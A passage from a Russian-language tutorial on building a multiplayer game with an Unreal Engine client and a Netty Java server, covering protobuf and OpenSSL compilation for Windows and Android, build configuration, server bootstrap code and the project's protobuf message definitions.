src/google/protobuf/arenastring.cc \
src/google/protobuf/extension_set.cc \
src/google/protobuf/generated_message_util.cc \
src/google/protobuf/io/coded_stream.cc \
src/google/protobuf/io/zero_copy_stream.cc \
src/google/protobuf/io/zero_copy_stream_impl_lite.cc \
src/google/protobuf/message_lite.cc \
src/google/protobuf/repeated_field.cc \
src/google/protobuf/stubs/bytestream.cc \
src/google/protobuf/stubs/common.cc \
src/google/protobuf/stubs/int128.cc \
src/google/protobuf/stubs/once.cc \
src/google/protobuf/stubs/status.cc \
src/google/protobuf/stubs/statusor.cc \
src/google/protobuf/stubs/stringpiece.cc \
src/google/protobuf/stubs/stringprintf.cc \
src/google/protobuf/stubs/structurally_valid.cc \
src/google/protobuf/stubs/strutil.cc \
src/google/protobuf/stubs/time.cc \
src/google/protobuf/wire_format_lite.cc \
src/google/protobuf/any.cc \
src/google/protobuf/any.pb.cc \
src/google/protobuf/api.pb.cc \
src/google/protobuf/compiler/importer.cc \
src/google/protobuf/compiler/parser.cc \
src/google/protobuf/descriptor.cc \
src/google/protobuf/descriptor.pb.cc \
src/google/protobuf/descriptor_database.cc \
src/google/protobuf/duration.pb.cc \
src/google/protobuf/dynamic_message.cc \
src/google/protobuf/empty.pb.cc \
src/google/protobuf/extension_set_heavy.cc \
src/google/protobuf/field_mask.pb.cc \
src/google/protobuf/generated_message_reflection.cc \
src/google/protobuf/io/gzip_stream.cc \
src/google/protobuf/io/printer.cc \
src/google/protobuf/io/strtod.cc \
src/google/protobuf/io/tokenizer.cc \
src/google/protobuf/io/zero_copy_stream_impl.cc \
src/google/protobuf/map_field.cc \
src/google/protobuf/message.cc \
src/google/protobuf/reflection_ops.cc \
src/google/protobuf/service.cc \
src/google/protobuf/source_context.pb.cc \
src/google/protobuf/struct.pb.cc \
src/google/protobuf/stubs/mathlimits.cc \
src/google/protobuf/stubs/substitute.cc \
src/google/protobuf/text_format.cc \
src/google/protobuf/timestamp.pb.cc \
src/google/protobuf/type.pb.cc \
src/google/protobuf/unknown_field_set.cc \
src/google/protobuf/util/field_comparator.cc \
src/google/protobuf/util/field_mask_util.cc \
src/google/protobuf/util/internal/datapiece.cc \
src/google/protobuf/util/internal/default_value_objectwriter.cc \
src/google/protobuf/util/internal/error_listener.cc \
src/google/protobuf/util/internal/field_mask_utility.cc \
src/google/protobuf/util/internal/json_escaping.cc \
src/google/protobuf/util/internal/json_objectwriter.cc \
src/google/protobuf/util/internal/json_stream_parser.cc \
src/google/protobuf/util/internal/object_writer.cc \
src/google/protobuf/util/internal/proto_writer.cc \
src/google/protobuf/util/internal/protostream_objectsource.cc \
src/google/protobuf/util/internal/protostream_objectwriter.cc \
src/google/protobuf/util/internal/type_info.cc \
src/google/protobuf/util/internal/type_info_test_helper.cc \
src/google/protobuf/util/internal/utility.cc \
src/google/protobuf/util/json_util.cc \
src/google/protobuf/util/message_differencer.cc \
src/google/protobuf/util/time_util.cc \
src/google/protobuf/util/type_resolver_util.cc \
src/google/protobuf/wire_format.cc \
src/google/protobuf/wrappers.pb.cc
LOCAL_CPPFLAGS := -std=c++11
LOCAL_LDLIBS := -llog
ifeq ($(TARGET_ARCH),x86)
LOCAL_SRC_FILES := $(LOCAL_SRC_FILES) \
src/google/protobuf/stubs/atomicops_internals_x86_gcc.cc
endif
ifeq ($(TARGET_ARCH),x86_64)
LOCAL_SRC_FILES := $(LOCAL_SRC_FILES) \
src/google/protobuf/stubs/atomicops_internals_x86_gcc.cc
endif
LOCAL_C_INCLUDES = $(LOCAL_PATH)/src
include $(BUILD_SHARED_LIBRARY)`
В случае успеха мы получим «сошку» /android/proto/libs/armeabi-v7a — libprotobuf.so. Скопируем её в проект /Spiky/Spiky\_Client/Source/Spiky\_Client/armv7.
**Возможные трудности и ошибки**
Если появляется ошибка:
`ThirdParty/Protobuf/Includes\google/protobuf/arena.h(635,25) : error: cannot use typeid with -fno-rtti`
откройте arena.h и напишите в самом вверху
`#define GOOGLE_PROTOBUF_NO_RTTI`
Если после включения в заголовков наших сообщений, возникает конфликт имён протобафа и анриала — `error: "error C3861: 'check': identifier not found`, проблема в совпадении имён макроса check в анриал (AssertionMacros.h), и check в протобафе (type\_traits.h), к счастью check в протобафе используется очень мало и проблему легко решить подредактировав исходники, переименовав check в check\_UnrealFix, например, и закомментировать #undef check. Решение подсказал вопрос на unreal answers — [Error C3861 (identifier not found) when including protocol buffers](https://answers.unrealengine.com/questions/241746/error-c3861-identifier-not-found-when-including-pr.html).
```
template
struct is\_base\_of {
typedef char (&yes)[1];
typedef char (&no)[2];
// BEGIN GOOGLE LOCAL MODIFICATION -- check is a #define on Mac.
#undef check
// END GOOGLE LOCAL MODIFICATION
static yes check(const B\*);
static no check(const void\*);
enum {
value = sizeof(check(static\_cast(NULL))) == sizeof(yes),
};
};
```
Исправленный вариант type\_traits.h выглядит так:
```
template
struct is\_base\_of {
typedef char (&yes)[1];
typedef char (&no)[2];
// BEGIN GOOGLE LOCAL MODIFICATION -- check is a #define on Mac.
//#undef check
// END GOOGLE LOCAL MODIFICATION
static yes check\_UnrealFix(const B\*);
static no check\_UnrealFix(const void\*);
enum {
value = sizeof(check\_UnrealFix(static\_cast(NULL))) == sizeof(yes),
};
};
```
Вообще часто встречаются проблемы совместимости, мы еще с ними столкнёмся когда будем добавлять поддержку OpenSSL и компилировать под андроид. к примеру Android NDK не полностью поддерживает С++ 11, мне нужно было получить миллисекунды я хотел использовать chrono но увы, нужно часто проводить проверки, здесь куча подводных камней.
Советую тестировать функционал внешних библиотек, перед добавлением в проект, отдельно, вне Unreal, это значительно быстрее.
Пока отложим подключение protobuf, скомпилируем OpenSSL чтобы больше не возвращаться к этой теме и не повторяться. Я использую OpenSSL-1.0.2k. Чтобы собрать библиотеку, воспользуйтесь этим руководством ([Building the 64-bit static libraries with debug symbols](http://developer.covenanteyes.com/building-openssl-for-visual-studio/)). Пару советов если возникнут трудности:
1. Найди в папке со студией ml64.exe и скопировать в папку с OpenSSL, не пользуемся NASM — это только для х32
2. Используйте чистые исходники (без попыток сборки)
3. `openssl fatal error LNK1112: module machine type 'x64' conflicts with target machine type 'X86'` — откройте Developer Command Prompt for VS2015, перейдите E:\Program Files (x86)\Microsoft Visual Studio 14.0\VC и выполните vcvarsall.bat x64 ([источник](https://stackoverflow.com/questions/31595869/how-to-resolve-the-module-machine-type-x86-conflicts-with-target-machine-type))
4. Конфликт имён с Unreal закомментируйте 172 строчку: `openssl/ossl_typ.h(172): error C2365: 'UI': redefinition; previous definition was 'namespace'`
Что до компиляции под андроид, проще всего это делать из под Ubuntu, воспользовавшись скриптами для armv7 и x86 которые вы можете найти в исходниках проекта.
[OpenSSL Android](https://wiki.openssl.org/index.php/Android)
[How to add a shared library (.so) in android project](https://wiki.unrealengine.com/How_to_add_a_shared_library_(.so)_in_android_project)
**Решение возможных проблем**
После того как мы получили сошку, с ней нужно немного поработать, надо изменить номер версии иначе будем получать ошибку:
`E/AndroidRuntime( 1574): java.lang.UnsatisfiedLinkError: dlopen failed: could not load library "libcrypto.so.1.0.0" needed by "libUE4.so"; caused by library "libcrypto.so.1.0.0" not found`
Где то внутри [зашит номер версии](http://stackoverflow.com/questions/33103867/unsatisfiedlinkerror-libcrypto-so-1-0-0-not-found), воспользуемся улитой Ubuntu для переименования:
`rpl -R -e .so.1.0.0 "_1_0_0.so" /path/to/libcrypto.so`
Скопируем сошку в Source/Spiky\_Client/armv7, библиотеки, заголовки в ThirdParty/OpenSSL и скомпилируем.
Подключаем библиотеки в Spiky\_Client.Build.cs. Для удобства добавим две функциии ModulePath и ThirdPartyPath, первая возвращает путь к проекту, вторая к папке с подключаемыми библиотеками.
```
public class Spiky_Client : ModuleRules
{
private string ModulePath
{
get { return ModuleDirectory; }
}
private string ThirdPartyPath
{
get { return Path.GetFullPath(Path.Combine(ModulePath, "../../ThirdParty/")); }
}
...
}
```
Специфично для каждой платформы мы добавляем библиотеку и заголовки. При компиляции выбирается необходимая платформе библиотека:
**Spiky\_Client.Build.cs**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
using UnrealBuildTool;
using System.IO;
using System;
public class Spiky_Client : ModuleRules
{
private string ModulePath
{
get { return ModuleDirectory; }
}
private string ThirdPartyPath
{
get { return Path.GetFullPath(Path.Combine(ModulePath, "../../ThirdParty/")); }
}
public Spiky_Client(ReadOnlyTargetRules Target) : base(Target)
{
PCHUsage = PCHUsageMode.Default;
PublicDependencyModuleNames.AddRange(new string[] { "Core", "CoreUObject", "Engine", "InputCore", "Networking", "Sockets" });
PrivateDependencyModuleNames.AddRange(new string[] { "UMG", "Slate", "SlateCore" });
string IncludesPath = Path.Combine(ThirdPartyPath, "Protobuf", "Includes");
PublicIncludePaths.Add(IncludesPath);
IncludesPath = Path.Combine(ThirdPartyPath, "OpenSSL", "Includes");
PublicIncludePaths.Add(IncludesPath);
if ((Target.Platform == UnrealTargetPlatform.Win64))
{
string LibrariesPath = Path.Combine(ThirdPartyPath, "Protobuf", "Libs");
PublicAdditionalLibraries.Add(Path.Combine(LibrariesPath, "libprotobuf.lib"));
LibrariesPath = Path.Combine(ThirdPartyPath, "OpenSSL", "Libs");
PublicAdditionalLibraries.Add(Path.Combine(LibrariesPath, "libeay32.lib"));
}
if (Target.Platform == UnrealTargetPlatform.Android)
{
string BuildPath = Utils.MakePathRelativeTo(ModuleDirectory, BuildConfiguration.RelativeEnginePath);
AdditionalPropertiesForReceipt.Add(new ReceiptProperty("AndroidPlugin", Path.Combine(BuildPath, "APL.xml")));
PublicAdditionalLibraries.Add(BuildPath + "/armv7/libprotobuf.so");
PublicAdditionalLibraries.Add(BuildPath + "/armv7/libcrypto_1_0_0.so");
}
}
}
```
Чтобы добавить сошки в сборку нужно создать APL.xml (AndroidPluginLanguage) файл в папке с исходниками, в котором описывается откуда и куда должны быть скопированы библиотеки, и под какую платформу armv7, x86. Примеры и другие параметры можно [глянуть тут](https://github.com/EpicGames/UnrealEngine/blob/4.10/Engine/Source/Programs/UnrealBuildTool/Android/AndroidPluginLanguage.cs).
**APL**
```
xml version="1.0" encoding="utf-8"?
```
**Можно протестировать работу OpenSSL для windows и android создав тестовый hud и вывести в него hash (в исходниках отсутствует)**
```
// OpenSSL tests
#include
#include
#include
void ADebugHUD::DrawHUD()
{
Super::DrawHUD();
FString hashTest = "Hash test (sha256): " + GetSHA256\_s("test", strlen("test"));
DrawText(hashTest, FColor::White, 50, 50, HUDFont);
}
FString ADebugHUD::GetSHA256\_s(const void \* data, size\_t data\_len)
{
EVP\_MD\_CTX mdctx;
unsigned char md\_value[EVP\_MAX\_MD\_SIZE];
unsigned int md\_len;
EVP\_DigestInit(&mdctx, EVP\_sha256());
EVP\_DigestUpdate(&mdctx, data, (size\_t)data\_len);
EVP\_DigestFinal\_ex(&mdctx, md\_value, &md\_len);
EVP\_MD\_CTX\_cleanup(&mdctx);
std::stringstream s;
s.fill('0');
for (size\_t i = 0; i < md\_len; ++i)
s << std::setw(2) << std::hex << (unsigned short)md\_value[i];
return s.str().c\_str();
}
```
Когда мы добавляем скомпилированные .proto сообщения, анриал выдаёт различные предупреждения, отключить которые можно либо разбираясь с исходникам движка, либо подавить их. Для этого создадим DisableWarnings.proto и скомпилируем `./protoc --cpp_out=. --java_out=. DisableWarnings.proto` затем в полученном заголовке DisableWarnings.pb.h подавим предупреждения, будем включать DisableWarnings в каждый прото файл. В DisableWarnings.proto всего три строчки, версия протобафа, имя java пакета и имя генерируемого класса.
`#define PROTOBUF_INLINE_NOT_IN_HEADERS 0
#pragma warning(disable:4100)
#pragma warning(disable:4127)
#pragma warning(disable:4125)
#pragma warning(disable:4267)
#pragma warning(disable:4389)`
**DisableWarnings.proto**
`syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "DisableWarnings";`
**DisableWarnings.pb.h**
```
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: DisableWarnings.proto
#define PROTOBUF_INLINE_NOT_IN_HEADERS 0
#pragma warning(disable:4100)
#pragma warning(disable:4127)
#pragma warning(disable:4125)
#pragma warning(disable:4267)
#pragma warning(disable:4389)
#ifndef PROTOBUF_DisableWarnings_2eproto__INCLUDED
#define PROTOBUF_DisableWarnings_2eproto__INCLUDED
#include
#include
#if GOOGLE\_PROTOBUF\_VERSION < 3000000
#error This file was generated by a newer version of protoc which is
#error incompatible with your Protocol Buffer headers. Please update
#error your headers.
#endif
#if 3000000 < GOOGLE\_PROTOBUF\_MIN\_PROTOC\_VERSION
#error This file was generated by an older version of protoc which is
#error incompatible with your Protocol Buffer headers. Please
#error regenerate this file with a newer version of protoc.
#endif
#include
#include
#include
#include
#include
#include
// @@protoc\_insertion\_point(includes)
// Internal implementation detail -- do not call these.
void protobuf\_AddDesc\_DisableWarnings\_2eproto();
void protobuf\_AssignDesc\_DisableWarnings\_2eproto();
void protobuf\_ShutdownFile\_DisableWarnings\_2eproto();
// ===================================================================
// ===================================================================
// ===================================================================
#if !PROTOBUF\_INLINE\_NOT\_IN\_HEADERS
#endif // !PROTOBUF\_INLINE\_NOT\_IN\_HEADERS
// @@protoc\_insertion\_point(namespace\_scope)
// @@protoc\_insertion\_point(global\_scope)
#endif // PROTOBUF\_DisableWarnings\_2eproto\_\_INCLUDED
```
Все наши протобафы мы помещаем в папку Protobufs (Source/Spiky\_Client/Protobufs), но лучше настроить автоматичекое размещение сгенерированных файлов, указав полные пути в --cpp\_out=. --java\_out=.
Едем дальше, настроим Spiky сервер!
Создаём пакет com.spiky.server и добавляем класс ServerMain, входная точка нашего сервера, тут мы будем хранить глобальные переменные, инициализируем и запустим два Netty сервера для tcp и udp соединений (но напомню в проекте используется только tcp). Нам определённо понадобится файл конфигурации, где мы могли бы хранить порты серверов (сервера логики – Netty и проверочного на Unreal), а так же возможность включать отключать криптографию. В папке Recources создадим configuration.properties.
Добавим в ServerMain инициализацию сервера, и чтение файла настроек:
```
/* файл конфигурации */
private static final ResourceBundle configurationBundle = ResourceBundle.getBundle("configuration", Locale.ENGLISH);
/* серверные порты */
private static final int tcpPort = Integer.valueOf(configurationBundle.getString("tcpPort"));
private static final int udpPort = Integer.valueOf(configurationBundle.getString("udpPort"));
private static void run_tcp() {
EventLoopGroup bossGroup = new NioEventLoopGroup(); // 1
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
ServerBootstrap b = new ServerBootstrap(); // 2
b.group(bossGroup, workerGroup)
.channel(NioServerSocketChannel.class) // 3
.childHandler(new com.spiky.server.tcp.ServerInitializer()) // 4
.childOption(ChannelOption.SO_KEEPALIVE, true)
.childOption(ChannelOption.TCP_NODELAY, true);
ChannelFuture f = b.bind(tcpPort).sync(); // 5
f.channel().closeFuture().sync(); // 6
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
workerGroup.shutdownGracefully();
bossGroup.shutdownGracefully();
}
}
```
**Полный файл, с инициализацией udp и main()**
```
/*
* Copyright (c) 2017, Vadim Petrov - MIT License
*/
package com.spiky.server;
import io.netty.bootstrap.Bootstrap;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelOption;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.nio.NioDatagramChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import java.util.Locale;
import java.util.ResourceBundle;
public class ServerMain {
/* файл конфигурации */
private static final ResourceBundle configurationBundle = ResourceBundle.getBundle("configuration", Locale.ENGLISH);
/* серверные порты */
private static final int tcpPort = Integer.valueOf(configurationBundle.getString("tcpPort"));
private static final int udpPort = Integer.valueOf(configurationBundle.getString("udpPort"));
private static void run_tcp() {
EventLoopGroup bossGroup = new NioEventLoopGroup();
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
ServerBootstrap b = new ServerBootstrap();
b.group(bossGroup, workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new com.spiky.server.tcp.ServerInitializer())
.childOption(ChannelOption.SO_KEEPALIVE, true)
.childOption(ChannelOption.TCP_NODELAY, true);
ChannelFuture f = b.bind(tcpPort).sync();
f.channel().closeFuture().sync();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
workerGroup.shutdownGracefully();
bossGroup.shutdownGracefully();
}
}
private static void run_udp() {
final NioEventLoopGroup group = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(group).channel(NioDatagramChannel.class)
.handler(new com.spiky.server.udp.ServerInitializer());
bootstrap.bind(udpPort).sync();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
new Thread(ServerMain::run_tcp).start();
new Thread(ServerMain::run_udp).start();
}
}
```
1. NioEventLoopGroup — это многопоточный цикл, который обрабатывает операции ввода-вывода. Netty предоставляет различные реализации EventLoopGroup для разных видов транспорта. В этом примере мы реализуем серверное приложение, и поэтому будет использоваться две NioEventLoopGroup. Первый, часто называемое «босс», принимает входящее соединение. Второй, часто называемый «рабочий», обрабатывает трафик принятого соединения, босс принимает соединение и регистрирует принятое соединение с работником. Сколько потоков используется и как они сопоставляются с создаваемыми каналами, зависит от реализации EventLoopGroup и может настраиваться через конструктор
2. ServerBootstrap — это вспомогательный класс, который устанавливает сервер. Вы можете настроить сервер напрямую с помощью канала. Однако учтите, что это утомительный процесс, и вам не нужно делать это в большинстве случаев
3. Здесь мы указываем использовать класс NioServerSocketChannel, который используется для создания нового канала приема входящих соединений
4. Специальный Handler, который предоставляет простой способ инициализации канала после его регистрации в EventLoop. В нем мы добавляем обработчики входящих сообщений, декодеры, инкодеры и логику,
5. Привязываем и начнинаем принимать входящие соединения
6. Подождём, пока серверный сокет не будет закрыт
Как работает Netty, на простых примерах эхо сервера, с объясненями можно найти [в документации](http://netty.io/wiki/user-guide-for-4.x.html). Еще очень советую прочитать книгу Netty in Action, она небольшая.
Наш сервер почти готов к запуску, добавим ServerInitializer для обоих протоколов:
```
/* Для UDP и TCP*/
public class ServerInitializer extends ChannelInitializer
public class ServerInitializer extends ChannelInitializer
```
Создадим два пакета `com.spiky.server.tcp` и `com.spiky.server.udp` в каждом из которых создадим класс ServerInitializer (с отличными NioDatagramChannel/SocketChannel) с таким содержимым:
```
package com.spiky.server.tcp;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.ChannelPipeline;
import io.netty.channel.socket.SocketChannel;
public class ServerInitializer extends ChannelInitializer {
@Override
protected void initChannel(SocketChannel ch) throws Exception {
ChannelPipeline pipeline = ch.pipeline();
}
}
```
Pipeline это то через что проходит каждое сообщение, содержит список ChannelHandlers, который обрабатывают входящие и исходящие сообщения. Например один из обработчиков может принимать только строковые данные, другой протобаф, если мы вызовем write(string) то вызовется обработчик для строк, в котором мы решим обрабатывать сообщение дальше, отправить в другой обработчик соответствующий новому типу или отправить клиенту. У каждого обработчика есть тип определяющий для каких он сообщений — входящих или исходящих.
Добавим стандартный обработчик отладки в ServerInitializer, который весьма полезен, можно посмотреть размер входящих сообщений и в каком виде они представлены, так же адресат:
```
...
ChannelPipeline pipeline = ch.pipeline();
/* отладка */
pipeline.addLast(new LoggingHandler(LogLevel.INFO));
...
```
Обработка протобаф сообщений присланных по TCP отличается от присланных по UDP, у Netty есть заготовленные обработчики для протобафа, но работают они только для потоковых соединений таких как TCP, когда мы отправляем сообщение мы должны знать где закончить читать, поэтому в начале каждого сообщения должна идти его длина, затем само тело. Начнём с UDP, добавим и протестируем прием и отправку сообщений сервером и клиентом. Добавим обработчик отладки в ServerInitializer, затем создадим пакет com.spiky.server.udp.handlers. Добавим в него public class ProtoDecoderHandler extends SimpleChannelInboundHandler. ChannelInboundHandlerAdapter, позволяет явным образом обрабатывать только определенные типы входящих сообщений. Например ProtoDecoderHandler обрабатывает только сообщения типа DatagramPacket.
Добавим сюда же PackageHandler — класс с логикой, после декодирования (а далее нам надо будет декодировать и расшифровать) сюда приходят сообщения используемого нами протобаф формата public class PackageHandler extends SimpleChannelInboundHandler
MessageModels это класс-обёртка верхнего уровня, который будет содержать шифрованные и нешифрованные данные. Все сообщения оборачивается в него, вот его конечный вид, некоторые типы нам еще не знакомы:
```
message Wrapper {
Utility utility = 1;
InputChecking inputChecking = 2;
Registration registration = 3;
Login login = 4;
CryptogramWrapper cryptogramWrapper = 5;
}
```
Когда мы отправляем сообщение, принимающая сторона читает обёртку и смотрит какие у неё есть поля. Логина, регистрация? А может зашифрованные байты cryptogramWrapper? Тем самым выбирая поток исполнения.
Давайте определим и опишем все протобаф модели в нашем проекте чтобы больше на это не отвлекаться.
*DisableWarnings* — пустой протобаф, задача которого лишь в том чтобы отключать предупреждения.
**DisableWarnings.proto**
`syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "DisableWarnings";`
*MessageModels* — содержит в себе главную обёртку Wrapper, внутри которой могут быть нешифрованные сообщения Utility, InputChecking, Registration, Login и шифрованные CryptogramWrapper. CryptogramWrapper содержит зашифрованные байты, например после того как мы обменялись ключами и начали шифровать данные, эти данные присваиваются как одно из полей CryptogramWrapper. Получатель получил, проверил есть ли зашифрованные данные, расшифровал, определил тип по имени поля и отправил дальше на обработку.
**MessageModels.proto**
```
syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "MessageModels";
import "UtilityModels.proto";
import "RegLogModels.proto";
import "DisableWarnings.proto";
message CryptogramWrapper {
bytes registration = 1;
bytes login = 2;
bytes initialState = 3;
bytes room = 4;
bytes mainMenu = 5;
bytes gameModels = 6;
}
message Wrapper {
Utility utility = 1;
InputChecking inputChecking = 2;
Registration registration = 3;
Login login = 4;
CryptogramWrapper cryptogramWrapper = 5;
}
```
*UtilityModels* — единственная задача этой модели отправлять alive сообщения.
**UtilityModels.proto**
```
syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "UtilityModels";
import "DisableWarnings.proto";
message Utility {
bool alive = 1;
}
```
*RegLogModels* — содержит модели необходимые для регистрации и входа, а так же проверки пользовательского ввода и получении капчи с сервера.
**RegLogModels.proto**
```
syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "RegistrationLoginModels";
import "DisableWarnings.proto";
import "GameRoomModels.proto";
message InputChecking {
string login = 1;
string mail = 2;
string captcha = 3;
bool getCaptcha = 4;
bytes captchaData = 5;
oneof v1 {
bool loginCheckStatus = 6;
bool mailCheckStatus = 7;
bool captchaCheckStatus = 8;
}
}
message Login {
string mail = 1;
string hash = 2;
string publicKey = 3;
oneof v1 {
int32 stateCode = 4;
}
}
message Registration {
string login = 1;
string hash = 2;
string mail = 3;
string captcha = 4;
string publicKey = 5;
oneof v1 {
int32 stateCode = 6;
}
}
message InitialState {
string sessionId = 1;
string login = 2;
repeated CreateRoom createRoom = 3;
}
```
*MainMenuModels* — данные необходимые нам в главном меню, здесь только чат.
**MainMenuModels.proto**
```
syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "MainMenuModels";
import "DisableWarnings.proto";
message ChatMessage {
int64 time = 1;
string name = 2;
string text = 3;
}
message Chat {
int64 time = 1;
string name = 2;
string text = 3;
oneof v1 {
bool subscribe = 4;
}
repeated ChatMessage messages = 5;
}
message MainMenu {
Chat chat = 1;
}
```
*GameRoomModels* — всё что надо для создания и обновления игровых комнат.
**GameRoomModels.proto**
```
syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "GameRoomModels";
import "DisableWarnings.proto";
import "MainMenuModels.proto";
message Room {
CreateRoom createRoom = 1;
RoomsListUpdate roomsListUpdate = 2;
SubscribeRoom subscribeRoom = 3;
RoomUpdate roomUpdate = 4;
bool startGame = 5;
string roomName = 6;
}
message CreateRoom {
string roomName = 1;
string mapName = 2;
string gameTime = 3;
string maxPlayers = 4;
string creator = 5;
}
message RoomsListUpdate {
bool deleteRoom = 1;
bool addRoom = 2;
string roomName = 3;
string roomOwner = 4;
}
message SubscribeRoom {
oneof v1 {
bool subscribe = 1;
}
string roomName = 2;
int32 stateCode = 3;
RoomDescribe roomDescribe = 4;
string player = 5;
string team = 6;
}
message RoomDescribe {
repeated TeamPlayer team1 = 1;
repeated TeamPlayer team2 = 2;
repeated TeamPlayer undistributed = 3;
string roomName = 4;
string mapName = 5;
string gameTime = 6;
string maxPlayers = 7;
string creator = 8;
Chat chat = 9;
}
message TeamPlayer {
string player_name = 1;
}
message RoomUpdate {
RoomDescribe roomDescribe = 1;
string targetTeam = 2;
string roomName = 3;
}
```
*GameModels* — модель для игры, позиция игрока, параметры выстрела, начальное состояние, пинг.
**GameModels.proto**
```
syntax = "proto3";
option java_package = "com.spiky.server.protomodels";
option java_outer_classname = "GameModels";
import "DisableWarnings.proto";
message GameInitialState {
bool startGame = 1;
repeated Player player = 2;
}
message Player {
string player_name = 1;
string team = 2;
int32 health = 3;
PlayerPosition playerPosition = 4;
}
message PlayerPosition {
Location loc = 1;
Rotation rot = 2;
message Location {
int32 X = 1;
int32 Y = 2;
int32 Z = 3;
}
message Rotation {
int32 Pitch = 1;
int32 Roll = 2;
int32 Yaw = 3;
}
string playerName = 3;
int64 timeStamp = 4;
}
message Ping {
int64 time = 1;
}
message Shot {
Start start = 1;
End end = 2;
PlayerPosition playerPosition = 3;
message Start {
int32 X = 1;
int32 Y = 2;
int32 Z = 3;
}
message End {
int32 X = 1;
int32 Y = 2;
int32 Z = 3;
}
int64 timeStamp = 4;
string requestFrom = 5;
string requestTo = 6;
string roomOwner = 7;
oneof v1 {
bool result_hitState = 8;
}
string result_bonename = 9;
}
message GameData {
GameInitialState gameInitialState = 1;
PlayerPosition playerPosition = 2;
Ping ping = 3;
Shot shot = 4;
}
```
Все модели вы можете найти в Spiky/Spiky\_Protospace.
Чтобы определить тип сообщения и как оно должно обрабатываться, мы узнаём что в нем по наличию именованных полей:
`// java
if(wrapper.getCryptogramWrapper().hasField(registration_cw)) //сделать что-то
// cpp
if (wrapper->cryptogramwrapper().GetReflection()->HasField(wrapper->cryptogramwrapper(), Descriptors::registration_cw)) //сделать что-то`
И чтобы не захламлять код создадим отдельные классы с набором дескрипторов, добавьте на клиенте и на сервере в Utils класс Descriptors.
**Descriptors.java**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
package com.spiky.server.utils;
import com.spiky.server.protomodels.*;
/**
* Разные дескрипторы для того чтобы определить содержимое сообщений
* */
public class Descriptors {
public static com.google.protobuf.Descriptors.FieldDescriptor registration_cw = MessageModels.CryptogramWrapper.getDefaultInstance().getDescriptorForType().findFieldByName("registration");
public static com.google.protobuf.Descriptors.FieldDescriptor login_cw = MessageModels.CryptogramWrapper.getDefaultInstance().getDescriptorForType().findFieldByName("login");
public static com.google.protobuf.Descriptors.FieldDescriptor initialState_cw = MessageModels.CryptogramWrapper.getDefaultInstance().getDescriptorForType().findFieldByName("initialState");
public static com.google.protobuf.Descriptors.FieldDescriptor room_cw = MessageModels.CryptogramWrapper.getDefaultInstance().getDescriptorForType().findFieldByName("room");
public static com.google.protobuf.Descriptors.FieldDescriptor mainMenu_cw = MessageModels.CryptogramWrapper.getDefaultInstance().getDescriptorForType().findFieldByName("mainMenu");
public static com.google.protobuf.Descriptors.FieldDescriptor gameModels_cw = MessageModels.CryptogramWrapper.getDefaultInstance().getDescriptorForType().findFieldByName("gameModels");
public static com.google.protobuf.Descriptors.FieldDescriptor getCaptcha_ich = RegistrationLoginModels.InputChecking.getDefaultInstance().getDescriptorForType().findFieldByName("getCaptcha");
public static com.google.protobuf.Descriptors.FieldDescriptor login_ich = RegistrationLoginModels.InputChecking.getDefaultInstance().getDescriptorForType().findFieldByName("login");
public static com.google.protobuf.Descriptors.FieldDescriptor mail_ich = RegistrationLoginModels.InputChecking.getDefaultInstance().getDescriptorForType().findFieldByName("mail");
public static com.google.protobuf.Descriptors.FieldDescriptor captcha_ich = RegistrationLoginModels.InputChecking.getDefaultInstance().getDescriptorForType().findFieldByName("captcha");
public static com.google.protobuf.Descriptors.FieldDescriptor login_reg = RegistrationLoginModels.Registration.getDefaultInstance().getDescriptorForType().findFieldByName("login");
public static com.google.protobuf.Descriptors.FieldDescriptor mail_reg = RegistrationLoginModels.Registration.getDefaultInstance().getDescriptorForType().findFieldByName("mail");
public static com.google.protobuf.Descriptors.FieldDescriptor captcha_reg = RegistrationLoginModels.Registration.getDefaultInstance().getDescriptorForType().findFieldByName("captcha");
public static com.google.protobuf.Descriptors.FieldDescriptor publicKey_reg = RegistrationLoginModels.Registration.getDefaultInstance().getDescriptorForType().findFieldByName("publicKey");
public static com.google.protobuf.Descriptors.FieldDescriptor publicKey_log = RegistrationLoginModels.Login.getDefaultInstance().getDescriptorForType().findFieldByName("publicKey");
public static com.google.protobuf.Descriptors.FieldDescriptor subscribe_chat = MainMenuModels.Chat.getDefaultInstance().getDescriptorForType().findFieldByName("subscribe");
public static com.google.protobuf.Descriptors.FieldDescriptor chat_mm = MainMenuModels.MainMenu.getDefaultInstance().getDescriptorForType().findFieldByName("chat");
public static com.google.protobuf.Descriptors.FieldDescriptor deleteRoom_room = GameRoomModels.RoomsListUpdate.getDefaultInstance().getDescriptorForType().findFieldByName("deleteRoom");
public static com.google.protobuf.Descriptors.FieldDescriptor startGame_room = GameRoomModels.Room.getDefaultInstance().getDescriptorForType().findFieldByName("startGame");
public static com.google.protobuf.Descriptors.FieldDescriptor requestTo_shot_gd = GameModels.Shot.getDefaultInstance().getDescriptorForType().findFieldByName("requestTo");
}
```
**Descriptors.h/Descriptors.сpp**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#pragma once
#include
class Descriptors
{
public:
static const google::protobuf::FieldDescriptor\* captchaDataField\_ich;
static const google::protobuf::FieldDescriptor\* loginCheckStatus\_ich;
static const google::protobuf::FieldDescriptor\* mailCheckStatus\_ich;
